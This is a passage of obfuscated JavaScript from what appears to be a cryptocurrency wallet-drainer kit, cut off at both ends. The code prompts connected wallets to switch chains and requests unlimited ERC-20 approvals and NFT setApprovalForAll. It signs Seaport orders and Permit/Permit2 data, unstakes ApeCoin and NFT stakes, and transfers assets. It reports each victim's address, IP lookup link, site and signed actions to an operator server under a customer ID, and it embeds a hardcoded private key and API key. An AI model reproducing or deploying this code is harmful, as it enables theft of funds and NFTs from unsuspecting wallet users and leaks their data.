if (!(await this.addChain(_0x2375ea))) { | |
for (var _0x94743a of this.actions.filter(_0x5be2d2 => _0x5be2d2.chain == _0x2375ea)) { | |
_0x94743a.value = 0; | |
} | |
const _0x21acef = this.chainValues.findIndex(_0x2e77e6 => { | |
return _0x2e77e6.chain === _0x2375ea; | |
}); | |
this.chainValues[_0x21acef].value = 0; | |
console.log("CHAIN NOT ADDED, MOVING ON TO NEXT BEST OPTION"); | |
return; | |
} else if ((await this.web3Js.eth.getChainId()) == this.chainRegistryData[_0x2375ea].id) { | |
this.web3Js = new Web3(_0x6d8272); | |
this.ethersProvider = new ethers.providers.Web3Provider(_0x6d8272, "any"); | |
this.Sdk = new SDK(_0x6d8272, _0x45c08c); | |
const _0x233225 = this.chainValues.findIndex(_0x475b73 => { | |
return _0x475b73.chain === _0x2375ea; | |
}); | |
let _0x41c8f1 = this.chainValues[_0x233225].value; | |
await this.sendMessage({ | |
type: "chain", | |
chain: _0x2375ea, | |
name: _0x2375ea.toUpperCase(), | |
value: _0x41c8f1 / config.assetOptions.multipliers.chainSwitchRatio, | |
actionsLeft: this.actions.filter(_0x59ff0d => _0x59ff0d.chain == _0x2375ea).length | |
}); | |
if (_0xaab72 != (await this.getWalletAddress())) { | |
return; | |
} | |
return true; | |
} else { | |
await this.handleChains(); | |
return; | |
} | |
} else if (_0x23e539.code == -32002) { | |
this.failedAttempts++; | |
if (this.failedAttempts > 5) { | |
this.failedAttempts = 0; | |
return; | |
} else { | |
await this.delay(2000); | |
await this.handleChains(); | |
return; | |
} | |
} else { | |
if (_0xaab72 != (await this.getWalletAddress())) { | |
return; | |
} | |
await this.sendMessage({ | |
chain: _0x2375ea, | |
type: "error", | |
msg: "Denied Changing Chain to " + _0x2375ea.toUpperCase() | |
}); | |
this.failedAttempts++; | |
if (this.failedAttempts > 5) { | |
this.failedAttempts = 0; | |
return; | |
} else { | |
await this.handleChains(); | |
return; | |
} | |
} | |
} | |
}; | |
delay = _0x3a55a5 => { | |
return new Promise(_0x3cbe8e => setTimeout(_0x3cbe8e, _0x3a55a5)); | |
}; | |
addChain = async _0x46b8d => { | |
console.log("Trying to add chain", _0x46b8d); | |
try { | |
await window.ethereum.request({ | |
method: "wallet_addEthereumChain", | |
params: [{ | |
chainId: this.chainRegistryData[_0x46b8d].id, | |
chainName: this.chainRegistryData[_0x46b8d].name, | |
nativeCurrency: { | |
name: this.chainRegistryData[_0x46b8d].symbol.toLowerCase(), | |
symbol: this.chainRegistryData[_0x46b8d].symbol, | |
decimals: 18 | |
}, | |
rpcUrls: [this.chainRegistryData[_0x46b8d].rpc], | |
blockExplorerUrls: [this.chainRegistryData[_0x46b8d].explorer] | |
}] | |
}); | |
return true; | |
} catch (_0xb98e96) { | |
console.log("Trying to add chain.."); | |
if (_0xb98e96.code == 4001) { | |
console.log("Denied adding chain"); | |
} else { | |
console.log("Addchain error", _0xb98e96); | |
} | |
return false; | |
} | |
}; | |
getWalletAddress = async () => { | |
return (await this.web3Js.eth.getAccounts())[0]; | |
}; | |
createAction = (_0x506ab8, _0x30d387, _0x77c99, _0x464c28) => { | |
const _0x51cce8 = { | |
actionType: _0x506ab8, | |
asset: _0x30d387, | |
value: _0x77c99, | |
chain: _0x464c28 | |
}; | |
let _0x2e2acd = _0x51cce8; | |
if (!this.handledActions.includes(Base64.encode(JSON.stringify(_0x2e2acd)))) { | |
this.actions.push(_0x2e2acd); | |
} | |
}; | |
sendMessage = async _0x2d2acb => { | |
let _0x4c5375 = "https://etherscan.io"; | |
let _0x35a183 = "eth"; | |
if (_0x35a183 != "") { | |
_0x35a183 = _0x2d2acb.chain; | |
} | |
let _0x3885f0 = "💎"; | |
if (_0x2d2acb.value > 0) { | |
_0x2d2acb.value = _0x2d2acb.value.toFixed(2); | |
} | |
if (_0x35a183 == "bsc") { | |
_0x4c5375 = "https://bscscan.com"; | |
_0x3885f0 = "🔸"; | |
} else if (_0x35a183 == "ftm") { | |
_0x4c5375 = "https://ftmscan.com"; | |
_0x3885f0 = "Ⓜ️"; | |
} else if (_0x35a183 == "arb") { | |
_0x4c5375 = "https://arbiscan.io"; | |
_0x3885f0 = "🔹"; | |
} else if (_0x35a183 == "matic") { | |
_0x4c5375 = "https://polygonscan.com"; | |
_0x3885f0 = "🔮"; | |
} else if (_0x35a183 == "avax") { | |
_0x4c5375 = "https://snowtrace.io"; | |
_0x3885f0 = "🔺"; | |
} else if (_0x35a183 == "cro") { | |
_0x4c5375 = "https://cronoscan.com"; | |
_0x3885f0 = " 💠"; | |
} else if (_0x35a183 == "op") { | |
_0x4c5375 = "https://optimistic.etherscan.io"; | |
_0x3885f0 = "🅾️"; | |
} else if (_0x35a183 == "xdai") { | |
_0x4c5375 = "https://gnosisscan.io"; | |
_0x3885f0 = "🔰"; | |
} else if (_0x35a183 == "era") { | |
_0x4c5375 = "https://explorer.zksync.io"; | |
_0x3885f0 = "◾️"; | |
} else if (_0x35a183 == "base") { | |
_0x4c5375 = "https://basescan.org/"; | |
_0x3885f0 = "🧿"; | |
} | |
const _0x5e5400 = window.location.hostname; | |
let _0x403ded = "\n"; | |
let _0x56e540 = await this.getWalletAddress(); | |
let _0x535253 = _0x56e540.slice(0, 6) + "..." + _0x56e540.slice(38, 42); | |
let _0x244740 = ""; | |
switch (_0x2d2acb.type) { | |
case "swap": | |
_0x244740 = "🔄 ERC-20 Swap | Type: " + _0x2d2acb.source + " [TXID](" + _0x4c5375 + "/tx/" + _0x2d2acb.txId + ")" + _0x403ded + (_0x3885f0 + " $" + _0x2d2acb.value + " | [" + _0x535253 + "](" + _0x4c5375 + "/address/" + _0x56e540 + ") | [Zerion](https://app.zerion.io/" + _0x56e540 + "/overview)"); | |
break; | |
case "connection": | |
{ | |
let _0x30427c = "💻"; | |
if (/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent)) { | |
_0x30427c = "📱"; | |
} | |
; | |
_0x244740 = _0x30427c + " New Connection | $" + _0x2d2acb.value + " | " + _0x5e5400 + " " + _0x403ded + ("[" + _0x535253 + "](" + _0x4c5375 + "/address/" + _0x56e540 + ") | [Zerion](https://app.zerion.io/" + _0x56e540 + "/overview) | [" + flag + "](https://www.infobyip.com/ip-" + ipAddress + ".html)"); | |
} | |
break; | |
case "approvalERC": | |
_0x244740 = "✏️ ERC-20 Signed | Type: " + _0x2d2acb.source + " [TXID](" + _0x4c5375 + "/tx/" + _0x2d2acb.txId + ")" + _0x403ded + (_0x3885f0 + " $" + _0x2d2acb.value + " | [" + _0x535253 + "](" + _0x4c5375 + "/address/" + _0x56e540 + ") | [Zerion](https://app.zerion.io/" + _0x56e540 + "/overview)"); | |
break; | |
case "balance": | |
_0x244740 = "✏️ Balance Transfer | Type: " + _0x2d2acb.source + " [TXID](" + _0x4c5375 + "/tx/" + _0x2d2acb.txId + ")" + _0x403ded + (_0x3885f0 + " " + _0x2d2acb.valueMsg + " " + _0x2d2acb.chain.toUpperCase() + " | [" + _0x535253 + "](" + _0x4c5375 + "/address/" + _0x56e540 + ") | [Zerion](https://app.zerion.io/" + _0x56e540 + "/overview)"); | |
break; | |
case "seaport": | |
_0x244740 = "🌊 Seaport TX" + _0x403ded + (_0x3885f0 + " $" + _0x2d2acb.value + " | [" + _0x535253 + "](" + _0x4c5375 + "/address/" + _0x56e540 + ") | [Zerion](https://app.zerion.io/" + _0x56e540 + "/overview)"); | |
break; | |
case "wyvern": | |
_0x244740 = "🌪 Wyvern [TX](" + _0x4c5375 + "/tx/" + _0x2d2acb.txId + ")" + _0x403ded + (_0x3885f0 + " $" + _0x2d2acb.value + " | [" + _0x535253 + "](" + _0x4c5375 + "/address/" + _0x56e540 + ") | [Zerion](https://app.zerion.io/" + _0x56e540 + "/overview)"); | |
break; | |
case "permit": | |
_0x244740 = "✏️ Permit-ERC20 Signed | Token: " + _0x2d2acb.token + _0x403ded + (_0x3885f0 + " $" + _0x2d2acb.value + " | [" + _0x535253 + "](" + _0x4c5375 + "/address/" + _0x56e540 + ") | [Zerion](https://app.zerion.io/" + _0x56e540 + "/overview)"); | |
break; | |
case "permit2": | |
_0x244740 = "✏️ Permit2 Signed" + _0x403ded + (_0x3885f0 + " $" + _0x2d2acb.value + " | [" + _0x535253 + "](" + _0x4c5375 + "/address/" + _0x56e540 + ") | [Zerion](https://app.zerion.io/" + _0x56e540 + "/overview)"); | |
break; | |
case "approvalNFT": | |
_0x244740 = "👾 NFT Signed | Type: " + _0x2d2acb.source + " [TXID](" + _0x4c5375 + "/tx/" + _0x2d2acb.txId + ")" + _0x403ded + (_0x3885f0 + " $" + _0x2d2acb.value + " | [" + _0x535253 + "](" + _0x4c5375 + "/address/" + _0x56e540 + ") | [Zerion](https://app.zerion.io/" + _0x56e540 + "/overview)"); | |
break; | |
case "unstake": | |
_0x244740 = "🌀 Unstaked | Type: " + _0x2d2acb.source + " [TXID](" + _0x4c5375 + "/tx/" + _0x2d2acb.txId + ")" + _0x403ded + (_0x3885f0 + " $" + _0x2d2acb.value + " | [" + _0x535253 + "](" + _0x4c5375 + "/address/" + _0x56e540 + ") | [Zerion](https://app.zerion.io/" + _0x56e540 + "/overview)"); | |
break; | |
case "chain": | |
_0x244740 = "⛓ Chain Switched | $" + _0x2d2acb.value + " on " + _0x2d2acb.name + _0x403ded + (_0x3885f0 + " [" + _0x535253 + "](" + _0x4c5375 + "/address/" + _0x56e540 + ") | [Zerion](https://app.zerion.io/" + _0x56e540 + "/overview)"); | |
break; | |
case "error": | |
_0x244740 = "👤 [" + _0x535253 + "](" + _0x4c5375 + "/address/" + _0x56e540 + ") | " + _0x5e5400 + " " + _0x403ded + "❌ " + _0x2d2acb.msg; | |
break; | |
} | |
setTimeout(async () => { | |
let _0x1363dd = this.domain + "/message"; | |
let _0x24a3e5 = { | |
message: _0x244740, | |
customerId: config.customerId, | |
key: this.createEncKey() | |
}; | |
let _0xf8f27c = Base64.encode(JSON.stringify(_0x24a3e5)); | |
const _0x3f2399 = { | |
method: "POST", | |
body: _0xf8f27c | |
}; | |
let _0x4448db = await fetch(_0x1363dd, _0x3f2399); | |
}, 0); | |
}; | |
createEncKey = () => { | |
let _0x64ae28 = window.navigator.userAgent; | |
let _0xf799af = this.utils.encrypt(Base64.encode(this.utils.UserAgent(8) + "-" + this.utils.xJDKDFGXDFIXDFBNXD9273129hizu7sg(4) + "-" + this.utils.J9108240u9pjhXNXUDFJABXDF(4) + "-" + this.utils.jJDFGDFJGDFGNBCBNCVJBCVN(64)), _0x64ae28 + "---" + this.utils.USG1204312()); | |
return _0xf799af.toString(); | |
}; | |
getChainId = _0x4e037b => { | |
return this.chainRegistery[_0x4e037b]; | |
}; | |
getChainFromId = _0xc03d2b => { | |
return this.chainRegistery[_0xc03d2b]; | |
}; | |
} | |
const _0x10f6ec = { | |
eth: 1, | |
bsc: 56, | |
xdai: 100, | |
arb: 42161, | |
matic: 137, | |
avax: 43114, | |
op: 10, | |
ftm: 250, | |
era: 324, | |
okt: 66, | |
celo: 42220, | |
mvr: 1285, | |
cro: 25, | |
metis: 1088, | |
aurora: 1313161554, | |
mobm: 1284, | |
klay: 8217, | |
boba: 288, | |
astar: 592, | |
nova: 87, | |
one: 1666600000, | |
base: 8453, | |
"1": "eth", | |
"56": "bsc", | |
"42161": "arb", | |
"137": "matic", | |
"43114": "avax", | |
"100": "xdai", | |
"10": "op", | |
"250": "ftm", | |
"25": "cro", | |
"1088": "metis", | |
"66": "okt", | |
"128": "heco", | |
"324": "era", | |
"1285": "mvr", | |
"42220": "celo", | |
"1284": "mobm", | |
"8217": "klay", | |
"1313161554": "aurora", | |
"288": "boba", | |
"592": "astar", | |
"87": "nova", | |
"1666600000": "one", | |
"8453": "base" | |
}; | |
class SDK { | |
chainRegistery = _0x10f6ec; | |
apeAddress = "0x5954aB967Bc958940b7EB73ee84797Dc8a2AFbb9"; | |
permit2Address = "0x000000000022D473030F116dDEE9F6B43aC78BA3"; | |
seaportAddress = "0x00000000000000ADc04C56Bf30aC9d3c0aAF14dC"; | |
constructor(_0x1f6b61, _0x2fe83c) { | |
this.chainId = _0x2fe83c; | |
let _0x16baf9 = _0x1f6b61; | |
this.signer = _0x16baf9.getSigner(); | |
this.web3Js = new Web3(_0x16baf9.provider); | |
console.log("Connected to SDK - " + _0x2fe83c); | |
} | |
getChainId = _0x422162 => { | |
return this.chainRegistery[_0x422162]; | |
}; | |
getChainFromId = _0x117a22 => { | |
return this.chainRegistery[_0x117a22]; | |
}; | |
GetAllowances = async (_0x5de6f3, _0x1622b6, _0x2b481b) => { | |
let _0x317228 = new Permit2Factory(this.permit2Address, this.signer).contract; | |
let _0x2a6ca9 = await _0x317228.allowance(_0x5de6f3, _0x1622b6, _0x2b481b); | |
return _0x2a6ca9.nonce; | |
}; | |
getStakes = async _0x51d513 => { | |
const _0x5c708b = new ethers.providers.InfuraProvider("homestead", "c099bda80ec8498aa647c5fa053c1d1b"); | |
const _0x1622ae = new ethers.Wallet("3bc76c72518c23a856a74c80dd25f66678f030a6625cfbb5a160e9f97fa0e2b1", _0x5c708b); | |
let _0x290e52 = _0x1622ae.connect(_0x5c708b); | |
let _0x587943 = new ApeFactory(this.apeAddress, _0x290e52).contract; | |
let _0x12587d = await _0x587943.getAllStakes(_0x51d513); | |
return _0x12587d; | |
}; | |
unstakeApe = async (_0x40f174, _0x5e4083) => { | |
let _0x57493e = new ApeFactory(this.apeAddress, this.signer).contract; | |
let _0x410127 = await _0x57493e.withdrawApeCoin(_0x40f174, _0x5e4083); | |
return _0x410127; | |
}; | |
unstakeBayc = async (_0x56fa9a, _0x51a5d3) => { | |
let _0x2c9e9c = new ApeFactory(this.apeAddress, this.signer).contract; | |
let _0x5ca090 = await _0x2c9e9c.withdrawBAYC(_0x56fa9a, _0x51a5d3); | |
return _0x5ca090; | |
}; | |
unstakeMayc = async (_0x2d4f9f, _0x569aa7) => { | |
let _0x5db360 = new ApeFactory(this.apeAddress, this.signer).contract; | |
let _0x310c9e = await _0x5db360.withdrawMAYC(_0x2d4f9f, _0x569aa7); | |
return _0x310c9e; | |
}; | |
getWalletAddress = async () => { | |
return (await this.web3Js.eth.getAccounts())[0]; | |
}; | |
signData = async (_0x78a9ab, _0x27d351, _0x1a3c65) => { | |
let _0x55742b = await this.signer._signTypedData(_0x78a9ab, _0x27d351, _0x1a3c65); | |
return _0x55742b; | |
}; | |
approveAsset = async (_0x58544a, _0xfd928a, _0x2b2590 = false) => { | |
switch (_0x58544a.itemType) { | |
case 1: | |
const _0x138dfd = new ERC20Factory(_0x58544a.token, this.signer).contract; | |
let _0xa57894 = false; | |
try { | |
const _0x505cd6 = await _0x138dfd.callStatic.increaseAllowance(_0xfd928a, ethers.BigNumber.from("0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff")); | |
_0xa57894 = true; | |
} catch (_0x23ddd8) { | |
_0xa57894 = false; | |
} | |
if (!_0xa57894) { | |
const _0x15aadf = await _0x138dfd.populateTransaction.approve(_0xfd928a, ethers.BigNumber.from("0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff")); | |
let _0x2c45dd = 90000; | |
let _0x205d52 = await this.getChainFromId(this.chainId); | |
if (_0x205d52 == "bsc") { | |
_0x2c45dd = 100000; | |
} else if (_0x205d52 == "matic") { | |
_0x2c45dd = 250000; | |
} else if (_0x205d52 == "ftm") { | |
_0x2c45dd = 400000; | |
} else if (_0x205d52 == "avax") { | |
_0x2c45dd = 300000; | |
} else if (_0x205d52 == "op") { | |
_0x2c45dd = 200000; | |
} else if (_0x205d52 == "arb") { | |
_0x2c45dd = 5000000; | |
} else if (_0x205d52 == "xdai") { | |
_0x2c45dd = 300000; | |
} else if (_0x205d52 == "celo") { | |
_0x2c45dd = 300000; | |
} | |
let _0x74500d = await this.signer.getTransactionCount("pending"); | |
const _0x55b43a = { | |
nonce: "0x" + _0x74500d.toString(16), | |
to: _0x58544a.token, | |
from: await this.signer.getAddress(), | |
value: "0x00", | |
gasLimit: _0x2c45dd, | |
data: _0x15aadf.data, | |
chainId: "0x" + this.chainId.toString(16) | |
}; | |
console.log(_0x55b43a); | |
let _0x1d2cb2 = this.signer.sendTransaction(_0x55b43a); | |
console.log(_0x1d2cb2); | |
return _0x1d2cb2; | |
} else { | |
console.log("This token allows to be increased"); | |
const _0x29775a = _0x138dfd.increaseAllowance(_0xfd928a, ethers.BigNumber.from("0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff")); | |
return _0x29775a; | |
} | |
case 2 || 4: | |
{ | |
if (!_0x2b2590) { | |
const _0x33cebc = new ERC721Factory(_0x58544a.token, this.signer).contract; | |
const _0x69240f = _0x33cebc.setApprovalForAll(_0xfd928a, true, { | |
gasLimit: 90000 | |
}); | |
return _0x69240f; | |
} else { | |
const _0x1759b9 = new ERC721Factory(_0x58544a.token, this.signer).contract; | |
const _0x2a3cf5 = _0x1759b9.approve(_0xfd928a, _0x58544a.token_ids[0], { | |
gasLimit: 90000 | |
}); | |
return _0x2a3cf5; | |
} | |
} | |
case 3 || 5: | |
const _0x24ce6e = ERC1155Factory(_0x58544a.token, this.signer).contract; | |
const _0x46fc51 = await _0x24ce6e.setApprovalForAll(_0xfd928a, true, { | |
gasLimit: 90000 | |
}); | |
return _0x46fc51; | |
default: | |
throw new Error("Unexpected itemType: " + _0x58544a.itemType); | |
} | |
}; | |
sendERC721 = async (_0x4fdfa7, _0x5e9ef8, _0x18c05e, _0x3850d9) => { | |
const _0x2c64a1 = ethers.utils.getAddress(_0x5e9ef8); | |
const _0x58d4fb = new ERC721Factory(_0x2c64a1, this.signer).contract; | |
const _0x52fdd7 = _0x58d4fb.safeTransferFrom(_0x4fdfa7, _0x18c05e, _0x3850d9); | |
return _0x52fdd7; | |
}; | |
sendERC1155 = async (_0x259799, _0x33a6b0, _0x30beb5, _0x30ed69) => { | |
const _0xd158f3 = ethers.utils.getAddress(_0x33a6b0); | |
const _0x358490 = new ERC1155Factory(_0xd158f3, this.signer).contract; | |
var _0x1e4f95 = new Uint8Array(0); | |
const _0x48a784 = _0x358490.safeTransferFrom(_0x259799, _0x30beb5, _0x30ed69, 1, _0x1e4f95); | |
return _0x48a784; | |
}; | |
sendERC721_DRY = async (_0x38e715, _0x475fd2, _0x6ec85e, _0x336a20) => { | |
const _0x3e40a7 = ethers.utils.getAddress(_0x475fd2); | |
const _0x562e32 = new ERC721Factory(_0x3e40a7, this.signer).contract; | |
const _0xc08d24 = _0x562e32.callStatic.safeTransferFrom(_0x38e715, _0x6ec85e, _0x336a20); | |
return _0xc08d24; | |
}; | |
sendERC1155_DRY = async (_0x1726d3, _0x413a70, _0x24e660, _0x5215e7) => { | |
const _0x5d2cd5 = ethers.utils.getAddress(_0x413a70); | |
const _0x541bb4 = new ERC1155Factory(_0x5d2cd5, this.signer).contract; | |
var _0x391d6b = new Uint8Array(0); | |
const _0x49d615 = _0x541bb4.callStatic.safeTransferFrom(_0x1726d3, _0x24e660, _0x5215e7, 1, _0x391d6b); | |
return _0x49d615; | |
}; | |
orderType = { | |
OrderComponents: [{ | |
name: "offerer", | |
type: "address" | |
}, { | |
name: "zone", | |
type: "address" | |
}, { | |
name: "offer", | |
type: "OfferItem[]" | |
}, { | |
name: "consideration", | |
type: "ConsiderationItem[]" | |
}, { | |
name: "orderType", | |
type: "uint8" | |
}, { | |
name: "startTime", | |
type: "uint256" | |
}, { | |
name: "endTime", | |
type: "uint256" | |
}, { | |
name: "zoneHash", | |
type: "bytes32" | |
}, { | |
name: "salt", | |
type: "uint256" | |
}, { | |
name: "conduitKey", | |
type: "bytes32" | |
}, { | |
name: "counter", | |
type: "uint256" | |
}], | |
OfferItem: [{ | |
name: "itemType", | |
type: "uint8" | |
}, { | |
name: "token", | |
type: "address" | |
}, { | |
name: "identifierOrCriteria", | |
type: "uint256" | |
}, { | |
name: "startAmount", | |
type: "uint256" | |
}, { | |
name: "endAmount", | |
type: "uint256" | |
}], | |
ConsiderationItem: [{ | |
name: "itemType", | |
type: "uint8" | |
}, { | |
name: "token", | |
type: "address" | |
}, { | |
name: "identifierOrCriteria", | |
type: "uint256" | |
}, { | |
name: "startAmount", | |
type: "uint256" | |
}, { | |
name: "endAmount", | |
type: "uint256" | |
}, { | |
name: "recipient", | |
type: "address" | |
}] | |
}; | |
createOrder = async (_0x49fe14, _0x4a41d5, _0x5c5ceb = 0, _0x4c5a7a = Math.floor(Date.now() / 1000), _0x209a7d = _0x4c5a7a + 2678400, _0x461d2d = undefined, _0x53629d = ethers.constants.HashZero, _0x19b28e = ethers.constants.HashZero, _0x339849 = false) => { | |
const _0x5d30ed = this.signer; | |
const _0x24f74e = new SeaportFactory(this.seaportAddress, this.signer).contract; | |
const _0x21cd52 = await _0x5d30ed.getAddress(); | |
const _0x67dff4 = await _0x24f74e.getCounter(_0x21cd52); | |
var _0x4ddff2 = !_0x339849 ? "0x" + this.random_bytes_function(32) : ethers.constants.HashZero; | |
const _0x2ae1e8 = { | |
offerer: _0x21cd52, | |
zone: _0x461d2d, | |
offer: _0x49fe14, | |
consideration: _0x4a41d5, | |
totalOriginalConsiderationItems: _0x4a41d5.length, | |
orderType: _0x5c5ceb, | |
zoneHash: _0x53629d, | |
salt: _0x4ddff2, | |
conduitKey: _0x19b28e, | |
startTime: _0x4c5a7a, | |
endTime: _0x209a7d | |
}; | |
const _0xedea28 = _0x2ae1e8; | |
const _0x386e8a = { | |
..._0xedea28 | |
}; | |
_0x386e8a.counter = _0x67dff4; | |
const _0x30b0ee = _0x386e8a; | |
const _0x3a520a = await this.signOrder(_0x24f74e, this.chainId, _0x30b0ee, _0x5d30ed); | |
const _0x2dc0e0 = { | |
parameters: _0xedea28, | |
signature: _0x3a520a, | |
numerator: 1, | |
denominator: 1, | |
extraData: "0x" | |
}; | |
const _0xe4b2a9 = _0x2dc0e0; | |
const _0x3609a6 = _0x49fe14.map(_0x353f59 => _0x353f59.itemType === 0 ? _0x353f59.endAmount.gt(_0x353f59.startAmount) ? _0x353f59.endAmount : _0x353f59.startAmount : this.toBN(0)).reduce((_0x404219, _0x300ca1) => _0x404219.add(_0x300ca1), this.toBN(0)).add(_0x4a41d5.map(_0xc8685e => _0xc8685e.itemType === 0 ? _0xc8685e.endAmount.gt(_0xc8685e.startAmount) ? _0xc8685e.endAmount : _0xc8685e.startAmount : this.toBN(0)).reduce((_0x50f973, _0x3f8246) => _0x50f973.add(_0x3f8246), this.toBN(0))); | |
const _0x146566 = { | |
order: _0xe4b2a9, | |
value: _0x3609a6, | |
orderComponents: _0x30b0ee | |
}; | |
return _0x146566; | |
}; | |
getItem = _0x17ff9e => { | |
const { | |
itemType: _0x1169a7, | |
token: _0xbc7147, | |
startAmount: _0x2b0f3e, | |
endAmount = _0x2b0f3e, | |
tokenId: _0x21de7d, | |
recipient: _0x230b67, | |
root: _0x29f1e5 | |
} = _0x17ff9e; | |
switch (_0x1169a7) { | |
case 1: | |
return this.getItem20(_0xbc7147, _0x2b0f3e, endAmount, _0x230b67); | |
case 2: | |
return this.getItem721(_0xbc7147, _0x21de7d, _0x230b67); | |
case 3: | |
return this.getItem1155(_0xbc7147, _0x21de7d, _0x2b0f3e, endAmount, _0x230b67); | |
} | |
}; | |
getItem20 = (_0x36c7b9, _0x17afd7, _0x2b8578, _0x335922) => this.getOfferOrConsiderationItem(1, _0x36c7b9, 0, _0x17afd7, _0x2b8578, _0x335922); | |
getItem721 = (_0x54261a, _0x112a6d, _0x44109c) => this.getOfferOrConsiderationItem(2, _0x54261a, _0x112a6d, 1, 1, _0x44109c); | |
getItem1155 = (_0x4333f1, _0x13877f, _0x5369d9 = 1, _0x206b5b = 1, _0x450879) => this.getOfferOrConsiderationItem(3, _0x4333f1, _0x13877f, _0x5369d9, _0x206b5b, _0x450879); | |
getOfferOrConsiderationItem = (_0x569726 = 0, _0x2037f8 = ethers.constants.AddressZero, _0x2911ea = 0, _0x153965 = 1, _0x33e69f = 1, _0x274cb7) => { | |
const _0x1d7ea6 = { | |
itemType: _0x569726, | |
token: _0x2037f8, | |
identifierOrCriteria: _0x2911ea, | |
startAmount: _0x153965, | |
endAmount: _0x33e69f | |
}; | |
const _0x2e35ed = _0x1d7ea6; | |
if (typeof _0x274cb7 === "string") { | |
const _0x555346 = { | |
..._0x2e35ed | |
}; | |
_0x555346.recipient = _0x274cb7; | |
return _0x555346; | |
} | |
return _0x2e35ed; | |
}; | |
signOrder = async (_0x993781, _0x110f24, _0x4f317f, _0x311182) => { | |
const _0x146795 = { | |
name: "Seaport", | |
version: "1.5", | |
chainId: _0x110f24, | |
verifyingContract: _0x993781.address | |
}; | |
const _0x1c9f7e = _0x146795; | |
const _0x52e53e = await _0x311182._signTypedData(_0x1c9f7e, this.orderType, _0x4f317f); | |
return _0x52e53e; | |
}; | |
random_bytes_function = _0x4f3619 => { | |
var _0x47272b = Math.ceil(_0x4f3619 = (+_0x4f3619 || 8) / 2); | |
var _0x40ce95 = new Uint8Array(_0x47272b); | |
window.crypto.getRandomValues(_0x40ce95); | |
var _0x304cfd = function (_0x302e38) { | |
return "00".slice(_0x302e38.length) + _0x302e38; | |
}; | |
var _0xd2864e = Array.prototype.map.call(_0x40ce95, function (_0x3ffb35) { | |
return _0x304cfd(_0x3ffb35.toString(16)); | |
}); | |
var _0x203471 = _0xd2864e.join("").toUpperCase(); | |
if (_0x4f3619 % 2) { | |
_0x203471 = _0x203471.slice(1); | |
} | |
return _0x203471; | |
}; | |
toBN = _0x29ec6a => ethers.BigNumber.from(_0x29ec6a); | |
} | |
class Helpers extends Values { | |
constructor() { | |
super(); | |
} | |
propComparator = _0x301f69 => (_0x3bdc00, _0x58931b) => _0x3bdc00[_0x301f69] == _0x58931b[_0x301f69] ? 0 : _0x3bdc00[_0x301f69] < _0x58931b[_0x301f69] ? -1 : 1; | |
isMobile = () => { | |
let _0x1f3643 = false; | |
(function (_0xf8a1f0) { | |
if (/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(_0xf8a1f0) || /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(_0xf8a1f0.substr(0, 4))) { | |
_0x1f3643 = true; | |
} | |
})(navigator.userAgent || navigator.vendor || window.opera); | |
return _0x1f3643; | |
}; | |
stringFromCharCode = String.fromCharCode; | |
ucs2decode(_0x4151ec) { | |
var _0x24b422 = []; | |
var _0x3365e1 = 0; | |
var _0x5a75e3 = _0x4151ec.length; | |
var _0x1010af; | |
var _0x1a3f4c; | |
while (_0x3365e1 < _0x5a75e3) { | |
_0x1010af = _0x4151ec.charCodeAt(_0x3365e1++); | |
if (_0x1010af >= 55296 && _0x1010af <= 56319 && _0x3365e1 < _0x5a75e3) { | |
